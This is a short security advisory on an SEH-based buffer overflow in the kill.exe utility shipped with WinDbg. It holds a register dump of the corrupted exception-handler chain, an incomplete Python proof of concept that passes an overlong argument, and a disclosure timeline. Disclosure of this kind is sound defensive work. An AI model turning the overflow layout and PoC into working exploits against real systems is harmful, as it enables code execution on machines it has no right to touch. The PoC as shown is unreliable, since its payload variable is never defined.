Microsoft Process Kill Utility "kill.exe" Buffer Overflow Jul 08 2016 04:10AM
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Microsoft Process Kill Utility "kill.exe"
File version: 6.3.9600.17298

The Kill tool (kill.exe), a tool used to terminate a process, part of the WinDbg program.

Vulnerability Type:
Buffer Overflow

SEH Buffer Overflow @ about 512 bytes

Vulnerability Details:

Register dump

'SEH chain of main thread
Address SE handler
001AF688 kernel32.756F489B
001AFBD8 52525252
42424242 *** CORRUPT ENTRY ***

001BF81C 41414141 AAAA
001BF820 41414141 AAAA
001BF824 41414141 AAAA
001BF828 41414141 AAAA
001BF82C 41414141 AAAA
001BF830 41414141 AAAA
001BF834 909006EB ë Pointer to next SEH record
001BF838 52525252 RRRR SE handler <================
001BF83C 90909090
001BF840 90909090

Exploit code(s):

Python POC.

import subprocess


pgm='c:\\Program Files (x86)\\Windows Kits\\8.1\\Debuggers\\x86\\kill.exe '
subprocess.Popen([pgm, junk], shell=False)

Disclosure Timeline:
Vendor Notification: June 24, 2016
Vendor reply: Will not security service
July 8, 2016 : Public Disclosure

Exploitation Technique:

Severity Level:

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